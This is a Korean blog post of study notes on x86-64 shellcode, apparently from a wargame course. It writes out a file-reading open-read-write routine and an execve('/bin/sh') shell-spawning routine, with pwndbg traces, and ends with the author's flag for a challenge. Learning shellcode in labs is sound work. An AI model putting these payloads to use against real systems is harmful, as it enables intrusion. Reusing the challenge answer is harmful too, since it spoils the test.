본문 바로가기
카테고리 없음

[System Hacking] Shellcode

by 멘멘 2023. 7. 16.

익스플로잇 (Exploit)

상대 시스템을 공격하는 것

 

셸코드(Shellcode)

익스플로잇을 위해 제작된 어셈블리 코드 조각. 셸을 획득하기 위한 목적으로 사용.

쉘을 획득하는 것은 시스템 해킹의 관점에서 매우 중요.

 

 

orw 셸코드

파일을 열고 읽은 뒤 화면에 출력해주는 셸코드

 

syscall

syscall rax arg0(rdi) arg1(rsi) arg2(rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode

 

"/tmp/flag"를 읽는 셸코드 작성하기

char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); 
write(1, buf, 0x30);

 

1. int fd = open("/tmp/flag", O_RDONLY,NULL)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
open 0x02 const char *filename int flags umode_t mode

/tmp/flag라는 문자열을 메모리에 위치시키기

- 스택에 0x67 push 후, 0x616c662f706d742f67(/tmp/flag) push

#define        O_RDONLY        0        /* Open read-only.  */
#define        O_WRONLY        1        /* Open write-only.  */
#define        O_RDWR          2        /* Open read/write.  */
push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

2.read(fd,buf,0x30)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count

syscall의 반환 값은 rax로 저장.

open으로 획득한 /tmp/flag의 fd는 rax에 저장

read의 첫번쨰 인자를 이값으로 설정해야하므로 rax를 rdi에 대입

rsi는 파일에서 읽은 데이터를 저장할 주소를 가리키는데, 0x30만큼 읽을 것이므로 이를 대입

rdx는 읽어낼 데이터의 길이인 0x30으로 설정

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

3.write(1, buf, 0x30)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
write 0x01 unsigned int fd const char *buf size_t count

출력은 stdout이므로 rdi는 0x1

rsi, rdx는 read 값 그대로

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

컴파일 및 실행

ELF(Executable and Linkable Format)은 크게 헤더, 코드, 기타 데이터로 구성.

작성한 셸코드는 ELF 형식이 아니라 실행이 불가하므로 gcc 컴파일을 통해 이를 형식 변형

 

orw 셸코드 디버깅

1. int fd = open("/tmp/flag", O_RDONLY,NULL)

pwndbg> b *run_sh+29
Breakpoint 2 at 0x555555555146
pwndbg> c
Continuing.
Breakpoint 2, 0x0000555555555146 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x2
 RBX  0x0
 RCX  0x555555557df8 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5555555550e0 (__do_global_dtors_aux) ◂— endbr64
*RDX  0x0
*RDI  0x7fffffffe2f8 ◂— '/tmp/flag'
*RSI  0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555135 <run_sh+12>    push   rax
   0x555555555136 <run_sh+13>    mov    rdi, rsp
   0x555555555139 <run_sh+16>    xor    rsi, rsi
   0x55555555513c <run_sh+19>    xor    rdx, rdx
   0x55555555513f <run_sh+22>    mov    rax, 2
 ► 0x555555555146 <run_sh+29>    syscall  <SYS_open>
        file: 0x7fffffffe2f8 ◂— '/tmp/flag'
        oflag: 0x0
        vararg: 0x0
   0x555555555148 <run_sh+31>    mov    rdi, rax
   0x55555555514b <run_sh+34>    mov    rsi, rsp
   0x55555555514e <run_sh+37>    sub    rsi, 0x30
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
...

open("/tmp/flag",O_RDONLY, NULL);이 실행됨.

 

2.read(fd,buf,0x30)

pwndbg> b *run_sh+55
Breakpoint 3 at 0x555555555160
pwndbg> c
Continuing.
Breakpoint 3, 0x0000555555555160 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x0
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
*RDX  0x30
*RDI  0x3
*RSI  0x7fffffffe2c8 ◂— 0x0
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555148     mov    rdi, rax
   0x55555555514b     mov    rsi, rsp
   0x55555555514e     sub    rsi, 0x30
   0x555555555152     mov    rdx, 0x30
   0x555555555159     mov    rax, 0
 ► 0x555555555160     syscall  
        fd: 0x3 (/tmp/flag)
        buf: 0x7fffffffe2c8 ◂— 0x0
        nbytes: 0x30
   0x555555555162     mov    rdi, 1
   0x555555555169     mov    rax, 1
   0x555555555170     syscall
   0x555555555172     xor    rdi, rdi
   0x555555555175     mov    rax, 0x3c
...

새로 할당한 /tml/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7ffffffffe2c8에 저장

 

3.write(1, buf, 0x30)

pwndbg> c
Continuing.
Breakpoint 4, 0x0000555555555170 in run_sh ()
...
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0x1
 RBX  0x0
 RCX  0x555555555044 (_start+4) ◂— xor ebp, ebp
 RDX  0x30
*RDI  0x1
 RSI  0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
...
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
   0x555555555152 <run_sh+41>    mov    rdx, 0x30
   0x555555555159 <run_sh+48>    mov    rax, 0
   0x555555555160 <run_sh+55>    syscall
   0x555555555162 <run_sh+57>    mov    rdi, 1
   0x555555555169 <run_sh+64>    mov    rax, 1
 ► 0x555555555170 <run_sh+71>    syscall  <SYS_write>
        fd: 0x1 (/dev/pts/11)
        buf: 0x7fffffffe2c8 ◂— 'flag{this_is_open_read_write_shellcode!}\n'
        n: 0x30
   0x555555555172 <run_sh+73>    xor    rdi, rdi
   0x555555555175 <run_sh+76>    mov    rax, 0x3c
   0x55555555517c <run_sh+83>    syscall
   0x55555555517e <main>         endbr64
   0x555555555182 <main+4>       push   rbp
...

데이터를 저장한 0x7fffffffe2c8에서 48 바이트 출력

 

초기화되지 않은 메모리 영역 사용

알 수 없는 문자열 출력 -> 초기화되지 않은 메모리 영역 사용에 의한 것

 

메모리 릭(Memory Leak)

쓰레기값이 의미가 없지 않음. 이런 중요한 값을 유출해내는 작업을 말함.

 

 

execve 셸코드

쉘(shell)은 운영체제에 명령을 내리기 위해 사용되는 사용자 인터페이스로 커널과 대비됨.

execve 셸코드는 임의의 프로그램을 실행하는 셸코드로, 이를 이용하면 서버의 셸 획득 가능.

 

execve("/bin/sh",null,null)

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const* argv const char *const* envp

execve 시스템 콜만으로 구성.

argv: 실행파일에 넘겨줄 인자 

envp: 환경변수

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

execve 셸코드 컴파일 및 실행

bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id 
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)

실행결과 sh가 실행

 

더보기

문제

문제는 이해가 어려워 구글링을 열심히...했다

https://pd6156.tistory.com/229

위 글을 참고(라기엔 따라쓰기에 가까웠다...)해서 했는데 이해가 어려워서 추후 다시 풀어봐야만 할 것 같다.

플래그값은 다음과 같이 나왔다. DH{ca562d7cf1db6c55cb11c4ec350z3c0b}

댓글